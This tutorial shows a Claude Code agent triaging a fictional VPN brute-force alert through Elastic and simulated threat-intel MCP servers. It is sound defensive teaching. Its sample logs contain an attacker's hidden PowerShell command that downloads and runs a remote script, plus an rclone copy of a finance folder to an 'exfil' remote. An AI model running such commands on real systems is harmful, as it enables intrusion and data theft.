This guide connects a Claude Code agent to two MCP servers and lets it triage one SIEM alert. The Elastic MCP server gives it the logs. A stand-in for the Brandefense MCP, with fictional data, gives it outside context on the IP addresses it finds. The agent writes a triage note, and a person decides what to do with it.
Prerequisites: Docker, uv, Claude Code, and an Elastic licence that includes Agent Builder. Agent Builder is not part of the free Basic licence, so you need a trial (30 days, free) or an Enterprise licence. The rest of the series mostly uses free tools, and this part is the exception.
It is Part 5 of Agentic Threat Intelligence 101. Part 4 turned a threat report into Sigma rules; this part uses logs and incidents instead of reports. Every command below was run on 25 October 2026 with Elasticsearch and Kibana 9.5.5, Claude Code 2.1.302 (model Sonnet 5.5) and FastMCP 4.1.3.
What the Agent Does With Two MCP Servers
A SIEM alert says that a service account logged in over the VPN after many failed attempts. The analyst question is always the same: is this real, and what did the account do next? The agent answers it by calling tools, not by guessing.
- 1Analyst Claude CodeTriage this VPN alert
- 2Claude Code Elastic MCPlist_indices, then three ES
- 3Elastic MCP Claude CodeVPN events and endpoint process events
- 4Claude Code Brandefense MCP (stand-in)needs_your_attention, intelligences_list, incidents_list
- 5Brandefense MCP (stand-in) Claude Codeincidents and intelligence for each IP
- 6Claude Code Analysttriage note with a source for each point
For a wider view of where agents fit in a SOC, read our overview of agentic AI in the SOC and our guide to running an agentic SOC and threat intelligence safely.
Which Elastic MCP Server Should You Use?
Elastic has two MCP options, and the older one is marked deprecated. The repository for the standalone Elasticsearch MCP server says it now gets only critical security updates. It names the Agent Builder MCP endpoint, built into Kibana, as its replacement for Elastic 9.2.0 and later.
| Topic | Agent Builder MCP endpoint | elastic/mcp-server-elasticsearch |
|---|---|---|
| Where it runs | Inside Kibana, at /api/agent_builder/mcp | Separate container that you run |
| Status | Preview in 9.2, generally available from 9.3 | Deprecated, critical security fixes only |
| Sign-in | Elasticsearch API key with an Agent Builder privilege | API key, or user name and password |
| What it offers | Agent Builder tools, such as ES | QL, index listing and cases | Search and ES|QL tools on your indices |
We used the Agent Builder endpoint, because it is the supported path. Its documentation says an API key needs the feature_agentBuilder.read Kibana privilege, or the endpoint returns 403.
Why This Is Not a Splunk Guide
We planned this part around the Splunk MCP server, but the official Splunk MCP Server app (Splunkbase app 7931) needs a Splunk sign-in to download, and Splunk Enterprise crashed under emulation on our Apple Silicon Mac. So we show Elastic, which we could run end to end.
Set Up the Lab
The compose file starts Elasticsearch and Kibana with a 30 day trial licence, because Agent Builder is a licensed feature. It sets throwaway passwords from a .env file (its shape is in the appendix) and turns off telemetry.
name: agentic-ti-part5
services:
es:
image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION}
environment:
discovery.type: single-node
ELASTIC_PASSWORD: ${ELASTIC_PASSWORD}
xpack.security.enabled: "true"
xpack.security.http.ssl.enabled: "false"
xpack.license.self_generated.type: trial
ES_JAVA_OPTS: "-Xms1g -Xmx1g"
mem_limit: 3g
volumes:
- /mnt/es-lab/es-data:/usr/share/elasticsearch/data
tmpfs:
- /tmp:mode=1777
ports:
- "19200:9200"
healthcheck:
test: ["CMD-SHELL", "curl -s -u elastic:$${ELASTIC_PASSWORD} http://localhost:9200/_cluster/health | grep -qE 'green|yellow'"]
interval: 10s
retries: 30
kibana:
image: docker.elastic.co/kibana/kibana:${STACK_VERSION}
depends_on:
es:
condition: service_healthy
environment:
ELASTICSEARCH_HOSTS: http://es:9200
ELASTICSEARCH_USERNAME: kibana_system
ELASTICSEARCH_PASSWORD: ${KIBANA_SYSTEM_PASSWORD}
XPACK_ENCRYPTEDSAVEDOBJECTS_ENCRYPTIONKEY: ${KIBANA_ENC_KEY}
TELEMETRY_OPTIN: "false"
mem_limit: 2g
volumes:
- /mnt/es-lab/kibana-data:/usr/share/kibana/data
tmpfs:
- /tmp:mode=1777
ports:
- "15601:5601"
/mnt/es-lab volume paths are lab-specific: they point at a disk image that we mounted inside the Colima VM, because its disk had no free space for non-root writes. We did not re-run the stack with named volumes, so on a normal Docker setup swap them for named volumes at your own risk. Colima also did not forward the published ports, so we reached 127.0.0.1 through an SSH tunnel. The disk script is in the appendix.Start Elasticsearch first, set the password that Kibana uses, then start Kibana and load the sample logs:
set -a; . ./.env; set +a
docker compose up -d es
curl -u elastic:$ELASTIC_PASSWORD -X POST -H 'Content-Type: application/json' \
http://127.0.0.1:19200/_security/user/kibana_system/_password \
-d "{\"password\":\"$KIBANA_SYSTEM_PASSWORD\"}"
docker compose up -d kibana
python3 ingest.py
The license check returned a trial that expires on 2026-11-24. The sample data is 24 fictional events (full format in the appendix): a burst of failed VPN logins, one success, a few normal logins, and four process events on a file server. All addresses come from the documentation ranges.
{"time": "2026-10-25T09:00:05", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "SYSTEM", "parent": "services.exe", "process": "backup-agent.exe", "cmdline": "backup-agent.exe --nightly", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:01:11", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "a.demir", "src_ip": "192.0.2.15", "mfa": "push"}
...
{"time": "2026-10-25T09:16:02", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "svc-backup", "parent": "powershell.exe", "process": "rclone.exe", "cmdline": "rclone.exe copy D:\\finance remote:exfil --transfers 8", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:20:30", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "s.yilmaz", "src_ip": "192.0.2.40", "mfa": "push"}
{"time": "2026-10-25T10:30:02", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "a.demir", "src_ip": "192.0.2.15", "mfa": "push"}
The script ingest.py sends them into two indices, lab-vpn-auth and lab-endpoint-process. It printed 20 and 4 documents.
"""Create two lab indices and bulk-load sample_events.jsonl into Elasticsearch (plain HTTP, lab only)."""
import base64, json, os, urllib.request
BASE = "http://127.0.0.1:19200"
AUTH = "Basic " + base64.b64encode(f"elastic:{os.environ['ELASTIC_PASSWORD']}".encode()).decode()
INDEX = {"vpn:auth": "lab-vpn-auth", "proc:create": "lab-endpoint-process"}
def call(method, path, body=None, ctype="application/json"):
req = urllib.request.Request(BASE + path, data=body, method=method,
headers={"Authorization": AUTH, "Content-Type": ctype})
with urllib.request.urlopen(req) as r:
return json.loads(r.read())
lines = []
for line in open("sample_events.jsonl"):
e = json.loads(line)
index = INDEX[e.pop("sourcetype")]
doc = {"@timestamp": e.pop("time") + "Z", **e}
lines += [json.dumps({"index": {"_index": index}}), json.dumps(doc)]
res = call("POST", "/_bulk?refresh=true", ("\n".join(lines) + "\n").encode(), "application/x-ndjson")
print("bulk errors:", res["errors"], "items:", len(res["items"]))
for idx in INDEX.values():
print(idx, call("GET", f"/{idx}/_count")["count"], "documents")
Give the Agent a Read-Only Key
The Agent Builder endpoint lists 67 tools for our key, and some of them change things: cases, watchlists, streams and workflows. Limit what the agent can do in two places. First, create an API key that can read only the lab indices.
{
"name": "lab-soc-triage-readonly",
"expiration": "1d",
"role_descriptors": {
"soc-triage-read-only": {
"cluster": ["monitor_inference"],
"indices": [{ "names": ["lab-*"], "privileges": ["read", "view_index_metadata"] }],
"applications": [{ "application": "kibana-.kibana", "privileges": ["feature_agentBuilder.read"], "resources": ["space:default"] }]
}
}
}
We posted this to /_security/api_key and saved the encoded value in a file outside the project. The key lasts one day. A write attempt with it fails, which is the point (we replaced the key id):
$ curl -X POST .../lab-vpn-auth/_doc (with the read-only MCP API key)
{"error":{"root_cause":[{"type":"security_exception","reason":"action [indices:data/write/index] is unauthorized for API key id [<key id>] of user [elastic] on indices [lab-vpn-auth], this action is granted by the index privileges [create_doc,create,index,write,all]"}],"type":"security_exception","reason":"action [indices:data/write/index] is unauthorized for API key id [<key id>] of user [elastic] on indices [lab-vpn-auth], this action is granted by the index privileges [create_doc,create,index,write,all]"},"status":403}
Second, name the tools that Claude Code may call. Everything else is refused before it reaches Elastic.
Connect Both Servers to Claude Code
The config file has two entries. Elastic is a remote HTTP server that takes the key from an environment variable, so the key never sits in the file. brandefense-sim is a local stdio server, the same FastMCP pattern as Part 1. The path is shortened.
{
"mcpServers": {
"elastic": {
"type": "http",
"url": "http://127.0.0.1:15601/api/agent_builder/mcp",
"headers": {
"Authorization": "ApiKey ${ELASTIC_MCP_KEY}",
"kbn-xsrf": "true"
}
},
"brandefense-sim": {
"type": "stdio",
"command": "uv",
"args": ["run", "--directory", "/path/to/brandefense_sim", "python", "server.py"],
"env": {}
}
}
}
The session script runs Claude Code in an empty scratch folder with --strict-mcp-config and no settings sources, so only these two servers and our allowed tools exist. The same settings, set through the Agent SDK, drove the agent in Part 2.
#!/bin/sh
# Runs one triage session. The API key stays in the environment, never in a file of this lab.
export ELASTIC_MCP_KEY="$(cat "$1")"
HERE="$(cd "$(dirname "$0")" && pwd)"
mkdir -p "$2" && cd "$2" || exit 1 # empty scratch folder: no project files or settings leak in
claude -p "$(cat "$HERE/prompt.txt")" \
--mcp-config "$HERE/mcp.json" --strict-mcp-config --setting-sources "" \
--allowedTools "mcp__elastic__platform_core_list_indices,mcp__elastic__platform_core_get_index_mapping,mcp__elastic__platform_core_execute_esql,mcp__brandefense-sim__needs_your_attention,mcp__brandefense-sim__incidents_list,mcp__brandefense-sim__intelligences_list,mcp__brandefense-sim__incident_detail" \
--output-format stream-json --verbose --max-turns 25
The Triage Session, Call by Call
The prompt gives the agent the alert, the three queries and the rules: read only, and a note of at most 250 words. This is the whole prompt, saved as prompt.txt. We wrote the queries ourselves on purpose. Section “What Went Wrong on the First Try” explains why.
A SIEM alert fired: "VPN login success after repeated failures, account svc-backup". Triage it.
Logs are in Elasticsearch (indices that start with lab-, all from 2026-10-25). Start by listing the lab- indices. Then run these three ES|QL queries with platform_core_execute_esql, exactly as written, one tool call each:
1. FROM lab-vpn-auth | WHERE event IN ("login_failed", "login_success") | STATS failures = COUNT(*) WHERE event == "login_failed", successes = COUNT(*) WHERE event == "login_success", first_seen = MIN(@timestamp), last_seen = MAX(@timestamp) BY user, src_ip | SORT failures DESC
2. FROM lab-vpn-auth | WHERE user == "svc-backup" | SORT @timestamp | KEEP @timestamp, event, src_ip, mfa, reason | LIMIT 30
3. FROM lab-endpoint-process | WHERE user == "svc-backup" | SORT @timestamp | KEEP @timestamp, host, parent, process, cmdline | LIMIT 30
Then use brandefense-sim for outside context: check what needs attention, then look up each external IP address you saw in the results (incidents_list and intelligences_list). Look up only indicators that appeared in the query results.
You may only read. Do not change or start anything.
Write a triage note of at most 250 words with these parts: Verdict (one line), Evidence (each point names the tool call it came from), Outside context, What you could not confirm, Next steps for a person. Say plainly that brandefense-sim returns simulated sample data.
The run took 17 turns and cost $0.10. Below, each tool call is shown with its real output. Long outputs are shortened with “…” and no value is changed.
The ES|QL tool returns JSON columns and rows. We show them as plain tables, and in call 4 we left out the host column, which is fs-ankara-02 in every row.
Call 1: List the Indices
The agent started with platform_core_list_indices and the pattern lab-*. It learned the two index names it needed:
{
"results": [
{
"type": "other",
"data": {
"indices": [
{
"name": "lab-endpoint-process"
},
{
"name": "lab-vpn-auth"
}
],
"aliases": [],
"data_streams": [],
"datasets": [],
"warnings": []
},
"tool_result_id": "XvP4kL"
}
]
}
Call 2: Who Failed, and Who Succeeded?
The first query counts failures and successes for each account and source address. It asks the question behind the alert across all users, so one noisy account is easy to compare with the rest.
FROM lab-vpn-auth | WHERE event IN ("login_failed", "login_success") | STATS failures = COUNT(*) WHERE event == "login_failed", successes = COUNT(*) WHERE event == "login_success", first_seen = MIN(@timestamp), last_seen = MAX(@timestamp) BY user, src_ip | SORT failures DESC
user src_ip failures successes first_seen last_seen
svc-backup 198.51.100.23 14 1 2026-10-25T09:12:00.000Z 2026-10-25T09:13:08.000Z
m.kaya 192.0.2.16 1 1 2026-10-25T09:02:40.000Z 2026-10-25T09:04:52.000Z
s.yilmaz 192.0.2.40 0 1 2026-10-25T09:20:30.000Z 2026-10-25T09:20:30.000Z
a.demir 192.0.2.15 0 2 2026-10-25T09:01:11.000Z 2026-10-25T10:30:02.000Z
One account stands out: svc-backup had 14 failures and then a success, all from 198.51.100.23, in 68 seconds (the 14 events are in the appendix). Everyone else had at most one failure.
Call 3: What Did That Account Do at the VPN?
The second query lists the account’s VPN events in time order, so the agent can see the rhythm of the attack.
FROM lab-vpn-auth | WHERE user == "svc-backup" | SORT @timestamp | KEEP @timestamp, event, src_ip, mfa, reason | LIMIT 30
@timestamp event src_ip mfa reason
2026-10-25T09:12:00.000Z login_failed 198.51.100.23 bad_password
2026-10-25T09:12:03.000Z login_failed 198.51.100.23 bad_password
2026-10-25T09:12:06.000Z login_failed 198.51.100.23 bad_password
... ... ... ... ...
2026-10-25T09:12:39.000Z login_failed 198.51.100.23 bad_password
2026-10-25T09:13:08.000Z login_success 198.51.100.23 none
The failures arrive every three seconds, which looks scripted. The success has mfa set to none.
Call 4: What Did It Do After Login?
The third query reads the endpoint process events for the same account. This is where an alert stops being a login question.
FROM lab-endpoint-process | WHERE user == "svc-backup" | SORT @timestamp | KEEP @timestamp, host, parent, process, cmdline | LIMIT 30
2026-10-25T09:15:21.000Z services.exe -> cmd.exe
cmd.exe /c whoami /all
2026-10-25T09:15:40.000Z cmd.exe -> powershell.exe
powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.45/s.ps1')
2026-10-25T09:16:02.000Z powershell.exe -> rclone.exe
rclone.exe copy D:\finance remote:exfil --transfers 8
- 14 failed logins, 3 seconds apartInternetbad_password
- Login succeeds without MFAVPN09:13:08
- whoami /allFile server09:15:21
- Hidden PowerShell fetches a scriptFile server09:15:40
- rclone copy of D:\financeFile server
Within three minutes of the login, the account ran a discovery command, a hidden PowerShell download from 203.0.113.45, and a copy of a finance folder to a remote. That is a chain, not a single event.
Call 5: What Needs Attention in the Account?
Now the agent turns to outside context. needs_your_attention is the first Brandefense tool in the documented list, a prioritised feed of what to look at first. The stand-in returned two open incidents:
{
"incidents": [
{
"id": "INC-1043",
"title": "Employee credentials offered on a forum",
"category": "leaked credentials",
"severity": "critical",
"status": "open",
"opened": "2026-10-25",
"indicators": [
"vpn.examplebank.example"
]
},
{
"id": "INC-1042",
"title": "Lookalike login page for Example Bank",
"category": "phishing",
"severity": "high",
"status": "open",
"opened": "2026-10-24",
"indicators": [
"examp1e-bank-login.example",
"203.0.113.45"
]
}
],
"note": "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
}
Calls 6 to 9: Check the Two Addresses
For each external address in the results, the agent called intelligences_list and incidents_list. The attacker’s address, 198.51.100.23, matched a closed incident about a VPN scanner and an intelligence record for mass VPN login scanning, with medium confidence:
{
"ioc": "198.51.100.23",
"incidents": [
{
"id": "INC-0987",
"title": "Scanner hitting the VPN portal",
"category": "exposure",
"severity": "medium",
"status": "closed",
"opened": "2026-09-30",
"indicators": [
"198.51.100.23"
]
}
],
"note": "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
}
{
"ioc": "198.51.100.23",
"records": [
{
"type": "ip",
"seen": "2026-10-20",
"context": "Mass VPN login scanning",
"confidence": "medium"
}
],
"note": "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
}
The address that served the PowerShell script, 203.0.113.45, is the host of the open phishing incident INC-1042, with a high confidence record that it hosts phishing kits aimed at retail banks:
{
"ioc": "203.0.113.45",
"incidents": [
{
"id": "INC-1042",
"title": "Lookalike login page for Example Bank",
"category": "phishing",
"severity": "high",
"status": "open",
"opened": "2026-10-24",
"indicators": [
"examp1e-bank-login.example",
"203.0.113.45"
]
}
],
"note": "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
}
{
"ioc": "203.0.113.45",
"records": [
{
"type": "ip",
"seen": "2026-10-23",
"context": "Hosts phishing kits aimed at retail banks",
"confidence": "high"
}
],
"note": "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
}
With real account data, a link like this is what the Brandefense MCP adds. Here the data is staged to show the shape of that link: without it, 203.0.113.45 is only an address in a command line, and with it the download looks like part of a larger campaign.
Calls 10 to 15: Check the Rest
The agent also looked up 192.0.2.15, 192.0.2.16 and 192.0.2.40, the addresses of normal users. All six calls returned empty lists, so they cost little and ruled these addresses out. The prompt limited lookups to addresses seen in the query results, and the agent kept to that.
The Triage Note
This is the note the agent wrote, with one dash between 0 and 1 typed as “to”. Each evidence point names the tool call it came from, as the prompt asked.
**Triage note: svc-backup VPN alert (2026-10-25)**
**Verdict:** Likely true positive. svc-backup was compromised, and the logs show a post-login chain that ends in probable data exfiltration.
**Evidence**
- Query 1 (VPN auth summary): svc-backup had 14 failures and 1 success from 198.51.100.23 between 09:12:00 and 09:13:08. Other users had 0 to 1 failures, so this is the outlier.
- Query 2 (svc-backup VPN events): 14 `bad_password` failures, one every 3 seconds, which looks automated. The success came at 09:13:08 with `mfa=none`.
- Query 3 (svc-backup endpoint activity), on host fs-ankara-02 within about 3 minutes of the login:
- 09:15:21: `whoami /all`.
- 09:15:40: hidden PowerShell that downloads and runs a script from 203.0.113.45.
- 09:16:02: `rclone copy D:\finance remote:exfil`.
**Outside context** (brandefense-sim returns simulated sample data, not real account data)
- `needs_your_attention` lists open incident INC-1042, a phishing page for Example Bank. Its indicators include 203.0.113.45.
- `incidents_list` and `intelligences_list` for 203.0.113.45: it is tied to INC-1042 and flagged as hosting phishing kits, with high confidence.
- `incidents_list` and `intelligences_list` for 198.51.100.23: it is tied to closed INC-0987 (VPN portal scanner) and flagged for mass VPN login scanning, with medium confidence.
- The other results (192.0.2.15, 192.0.2.16, 192.0.2.40) returned no incidents or intelligence records.
- `needs_your_attention` also lists critical INC-1043, credentials offered on a forum, with the indicator vpn.examplebank.example. The link to svc-backup is unverified.
**What I could not confirm**
- Whether the rclone transfer finished or what data left.
- How the password was obtained.
- Whether the service account normally logs in over VPN, or from that IP.
- Whether MFA is required for this account.
- Whether the script from 203.0.113.45 ran successfully.
**Next steps for a person**
1. Disable svc-backup and reset its credentials.
2. Isolate fs-ankara-02.
3. Block 198.51.100.23 and 203.0.113.45.
4. Check firewall and proxy logs for the size of the transfer.
5. Start incident response and assess whether finance data was exposed.
6. Enforce MFA, or restrict VPN access, for service accounts.
7. Check whether INC-1043 involves this account.
The prompt asked for at most 250 words and the note has about 340, so a length limit in a prompt is a request, not a guarantee.
Notice two more things. The verdict is a judgement, while the list of unknowns says what the logs cannot prove: whether the copy finished, and whether the account normally uses the VPN.
The next steps are suggestions for a person. The agent did not disable the account, block an address or start a takedown. Its tools could not do it.
What Went Wrong on the First Try
Our first run did not give a verdict. We had let the agent write its own queries and search the data in plain language. Several Agent Builder tools call a language model inside Kibana, such as platform_core_search and platform_core_generate_esql. Our cluster had no AI connector configured, so the search tool answered with an error:
{"results":[{"tool_result_id":"y1sCWU","type":"error","data":{"message":"No connector available"}}]}
The tool platform_core_execute_esql has a second rule. Its description tells the model to run only a query that came from the generate tool or from the user, and never one it invented.
The agent obeyed. It reported “Undetermined” and said that it had no log evidence, rather than guess. That is the behaviour you want, and it is why the second run gave the queries to the agent.
In practice this is a useful pattern. An analyst or a detection engineer writes and reviews the queries once. The agent runs them and reads the results. You can also add an AI connector and let the agent write queries, but then each query deserves a review.
Elastic MCP Pitfalls in SOC Triage
Log text is data from the outside world. A command line, a user agent or a file name can hold words aimed at the model, so treat every field as untrusted. Our checklist for securing MCP servers and tool access covers this in more depth.
- Use an API key that can read only the indices the task needs.
- List the allowed tools by name; the endpoint offers 67.
- Review queries that an agent writes before you trust them.
- Ask for the tool call behind every claim in the note.
- Keep containment, such as disabling an account, with a person.
- Give the agent a superuser key because it is faster.
- Let log text decide which tools the agent calls next.
- Treat a threat intelligence match as proof of the same actor.
- Send real incident data to a model your policy does not allow.
- Expose a lab Elastic or Kibana port to a shared network.
Two limits are specific to this lab. The data is fictional and tidy, so a real log search will be noisier and slower.
And the Brandefense answers come from a stand-in, so they show the shape of the work, not the content of a real account. If you add the real Brandefense MCP server, start with the read-only tools. Tools that change data, such as starting a takedown, ask you to confirm in the chat first.
The OWASP Top 10 for Agentic Applications lists the wider risks of agents that act on tool results.
Appendix: The Stand-In Server and Lab Files
These are the files the text refers to, copied from the lab. The stand-in is fictional by design: it copies the documented Brandefense tool names, uses .example domains and documentation IP ranges, and its field names are ours. Part 6 uses the same server, so it points back here.
brandefense-sim: server.py
"""brandefense-sim: a STAND-IN for the Brandefense MCP server, for the Agentic Threat Intelligence 101 labs.
It is NOT the Brandefense MCP server and holds no real data. It only copies the documented tool names
(brandefense.io/brandefense-ai/mcp-server/) so a lab flow can be run end to end without an account.
Every value is fictional: domains use the reserved .example TLD, IPs come from the documentation
ranges 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24. Field names are ours, not the product's.
"""
from fastmcp import FastMCP
mcp = FastMCP("brandefense-sim")
NOTE = "SIMULATED sample data from brandefense-sim; the real Brandefense MCP returns your account's data with its own fields."
INCIDENTS = {
"INC-1042": {"id": "INC-1042", "title": "Lookalike login page for Example Bank", "category": "phishing",
"severity": "high", "status": "open", "opened": "2026-10-24",
"indicators": ["examp1e-bank-login.example", "203.0.113.45"]},
"INC-1043": {"id": "INC-1043", "title": "Employee credentials offered on a forum", "category": "leaked credentials",
"severity": "critical", "status": "open", "opened": "2026-10-25",
"indicators": ["vpn.examplebank.example"]},
"INC-0987": {"id": "INC-0987", "title": "Scanner hitting the VPN portal", "category": "exposure",
"severity": "medium", "status": "closed", "opened": "2026-09-30",
"indicators": ["198.51.100.23"]},
}
INTEL = {
"203.0.113.45": [{"type": "ip", "seen": "2026-10-23", "context": "Hosts phishing kits aimed at retail banks", "confidence": "high"}],
"198.51.100.23": [{"type": "ip", "seen": "2026-10-20", "context": "Mass VPN login scanning", "confidence": "medium"}],
"examp1e-bank-login.example": [{"type": "domain", "seen": "2026-10-24", "context": "Registered 3 days ago, copies the bank login page", "confidence": "high"}],
}
PHISHING = [
{"domain": "examp1e-bank-login.example", "first_seen": "2026-10-24", "status": "live", "ip": "203.0.113.45"},
{"domain": "examplebank-secure-verify.example", "first_seen": "2026-10-22", "status": "live", "ip": "192.0.2.77"},
{"domain": "examplebank-support.example", "first_seen": "2026-10-10", "status": "taken down", "ip": None},
]
BLACKHOLE = {"examp1e-bank-login.example": {"listed": True, "listed_on": "2026-10-24"}}
@mcp.tool
def needs_your_attention() -> dict:
"""Open incidents that need attention, highest severity first. Read-only. (Simulated.)"""
order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
rows = sorted((i for i in INCIDENTS.values() if i["status"] == "open"), key=lambda i: order[i["severity"]])
return {"incidents": rows, "note": NOTE}
@mcp.tool
def incident_detail(incident_id: str) -> dict:
"""Full detail of one incident by id, such as INC-1042. Read-only. (Simulated.)"""
inc = INCIDENTS.get(incident_id.strip().upper())
return {"incident": inc, "note": NOTE} if inc else {"error": "Unknown incident id.", "note": NOTE}
@mcp.tool
def intelligences_list(ioc: str) -> dict:
"""Threat intelligence records for one indicator (IP, domain, hash). Read-only. (Simulated.)"""
return {"ioc": ioc, "records": INTEL.get(ioc.strip().lower(), []), "note": NOTE}
@mcp.tool
def incidents_list(ioc: str) -> dict:
"""Incidents in the account that contain this indicator. Read-only. (Simulated.)"""
hits = [i for i in INCIDENTS.values() if ioc.strip().lower() in [x.lower() for x in i["indicators"]]]
return {"ioc": ioc, "incidents": hits, "note": NOTE}
@mcp.tool
def list_phishing_sites(status: str = "live") -> dict:
"""Phishing sites found for the account's brands, filtered by status (live, taken down, all). Read-only. (Simulated.)"""
rows = PHISHING if status == "all" else [p for p in PHISHING if p["status"] == status]
return {"sites": rows, "note": NOTE}
@mcp.tool
def search_blackhole_domain(domain: str) -> dict:
"""Whether a domain is on the blocklist. Read-only. (Simulated.)"""
return {"domain": domain, **BLACKHOLE.get(domain.strip().lower(), {"listed": False}), "note": NOTE}
@mcp.tool
def start_phishing_takedown(domain: str, reason: str) -> dict:
"""Start a takedown request for a phishing domain. CHANGES DATA: the client must ask the user to confirm first.
(Simulated: records nothing, sends nothing.)"""
known = any(p["domain"] == domain.strip().lower() for p in PHISHING)
if not known:
return {"error": "Domain is not in the phishing list.", "note": NOTE}
return {"domain": domain, "takedown": "requested (simulated, nothing was sent)", "reason": reason, "note": NOTE}
if __name__ == "__main__":
mcp.run()
brandefense-sim: pyproject.toml
Run it with uv run python server.py from its folder. Claude Code starts it for you through the config above.
[project]
name = "brandefense-sim"
version = "0.1.0"
requires-python = ">=3.12"
dependencies = ["fastmcp==4.1.3"]
sample_events.jsonl
The file has 24 lines, one event each. Twenty are VPN events (vpn:auth) and four are endpoint process events (proc:create).
Here is the whole file. The 14 failed logins of svc-backup from 198.51.100.23 are the lines with login_failed for that account, 3 seconds apart, followed by the login without MFA, the PowerShell download and the copy. Save it as sample_events.jsonl next to ingest.py and you can reproduce every count in this post.
{"time": "2026-10-25T09:00:05", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "SYSTEM", "parent": "services.exe", "process": "backup-agent.exe", "cmdline": "backup-agent.exe --nightly", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:01:11", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "a.demir", "src_ip": "192.0.2.15", "mfa": "push"}
{"time": "2026-10-25T09:02:40", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "m.kaya", "src_ip": "192.0.2.16", "reason": "bad_password"}
{"time": "2026-10-25T09:04:52", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "m.kaya", "src_ip": "192.0.2.16", "mfa": "push"}
{"time": "2026-10-25T09:12:00", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:03", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:06", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:09", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:12", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:15", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:18", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:21", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:24", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:27", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:30", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:33", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:36", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:12:39", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_failed", "user": "svc-backup", "src_ip": "198.51.100.23", "reason": "bad_password"}
{"time": "2026-10-25T09:13:08", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "svc-backup", "src_ip": "198.51.100.23", "mfa": "none"}
{"time": "2026-10-25T09:15:21", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "svc-backup", "parent": "services.exe", "process": "cmd.exe", "cmdline": "cmd.exe /c whoami /all", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:15:40", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "svc-backup", "parent": "cmd.exe", "process": "powershell.exe", "cmdline": "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.45/s.ps1')", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:16:02", "host": "fs-ankara-02", "sourcetype": "proc:create", "user": "svc-backup", "parent": "powershell.exe", "process": "rclone.exe", "cmdline": "rclone.exe copy D:\\finance remote:exfil --transfers 8", "src_ip": "10.20.4.18"}
{"time": "2026-10-25T09:20:30", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "s.yilmaz", "src_ip": "192.0.2.40", "mfa": "push"}
{"time": "2026-10-25T10:30:02", "host": "vpn-gw01", "sourcetype": "vpn:auth", "event": "login_success", "user": "a.demir", "src_ip": "192.0.2.15", "mfa": "push"}
.env
The compose file reads four values. Use any throwaway strings, and generate the encryption key with at least 32 characters, for example with openssl rand -hex 16. The values we used are not shown.
STACK_VERSION=<placeholder>
ELASTIC_PASSWORD=<placeholder>
KIBANA_SYSTEM_PASSWORD=<placeholder>
KIBANA_ENC_KEY=<placeholder>
